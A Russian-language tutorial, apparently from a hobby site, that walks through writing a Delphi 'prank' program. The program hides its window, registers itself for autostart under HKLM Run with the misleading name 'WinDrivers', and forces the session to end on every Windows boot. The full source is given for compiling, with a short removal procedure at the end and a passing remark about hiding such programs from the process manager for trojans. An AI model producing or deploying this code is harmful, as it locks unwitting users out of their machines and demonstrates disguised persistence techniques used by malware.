Программа-прикол на Delphi.

В этом уроке мы научимся создавать программу, которая автоматически выключает компьютер при загрузке винды. Писать будем на Delphi. Сначало подумаем чего мы хотим от программы и как реализировать.

Цели.

1. Программа должна выключать компьютер при загрузке Windows
1.1. Реализируется через реестр, а именно - его ключ автозагрузки
2. Праграмма должна быть незаметна для пользователя
2.2. Для этого нужно всего навсего не делать визуальной формы (подчёркиваю - визуальной, т.е. видимой для пользователя)

Так... С целями разобрались. Теперь создадим новый проэкт в Дельфи. Прежде всего нужно сделать форму спрятаной от глаз пользователя. Можно так же спрятать её из Менеджера Процессов... но это нужно для троянов, в данном случае это нам не понадобится.
Итак, к делу. Project/Options (Проэкт/Опции), первое, что видим - два окошка, в одном написано Form1, в другом - ничего. Жмём на Form1, а затем на кнопке ">". Нажимаем ОК. Этим мы убрали форму из автосоздаваемых. То есть, программа не будет её создавать автоматически. Мы сами напишем код для её создания, но с нашими параметрами (в нашем случае - параметрами скрытия). Сделаем это прямо сейчас. Жмём Проэкт/Показать исходник, там вносим необходимые изменения, чтоб код был такой:

program localzhuk; //я так назвал свою программу :) Это поле оставляем нетронутым

uses
Forms,
Windows, //Прописываем это
localzhuktxt in 'localzhuktxt.pas' {Form1};

{$R *.res}

var
h: THandle; //Делаем переменную-дескриптор. Нужно для отсчёта времени
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE); //задаём параметры показа окна
Form1:=TForm1.Create(nil); //Создаём форму (будет невидимая, см. предыдущую строку)
Application.Run;
h:=CreateEvent(nil, true, false, 'et'); //Делаем пустое событие. Нужно для отсчёта времени
while (true) do //Пока не будет true
begin
WaitForSingleObject(h, 1000); //каждую секунду
Application.ProcessMessages; //передавать управление программе
end;
end.

Всё, с этим готово. Поразбирайте самостоятельно код - для лучшего понимания. Теперь, щёлкнув два раза на форме, перенесёмся в редактор кода (событие - создание формы). Пишем следующий код:

var
autorun: TRegIniFile; //делаем переменную реестровых данных (для работы с реестром)
begin
autorun:=TRegIniFile.Create('Run'); //инициализируем переменную
autorun.RootKey:=HKEY_LOCAL_MACHINE; //прописываем корневый ключ
autorun.OpenKey('SOFTWARE', true); //Открываем ключ
autorun.OpenKey('Microsoft', true); //Открываем ключ
autorun.OpenKey('Windows', true); //Открываем ключ
autorun.OpenKey('CurrentVersion', true); //Открываем ключ
autorun.WriteString('Run', 'WinDrivers', Application.ExeName); //создаем новый ключ в папке Run
//с названием WinDrivers
//и значением, которое равно пути к файлу программы
autorun.Free; //Закрываем переменную
ExitWindowsEx(EWX_FORCE, 0); //команда выключения компьютера

Мы использовали реестр, так что в глобальном разделе uses впишем Registry.

Надеюсь, с этим всё ясно. Сохраните, скомпилируйте. Теперь поговорим о нейтрализации программы. Согласитесь, неприятно, если вы по ошибке запустили эту программу-прикол на компьютере, а как нейтрализовать незнаете. Если вы не можете включить компьютер из-за этой программы, загрузитесь в безопасном режиму (F8 при загрузке компа), нажмите Пуск/Выполнить, введите Regedit. В открытом окне пройдите по адресу HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentV ersionRun, найдите ключ WinDrivers и сотрите его. Теперь спокойно запускайтесь в обычном режиме. Кстати, работа с Regedit'ом поможет вам лучше понять код.
Надеюсь, этот урок поможет вам в написании программ, работающих с реестром. И, конечно, написании программ-приколов!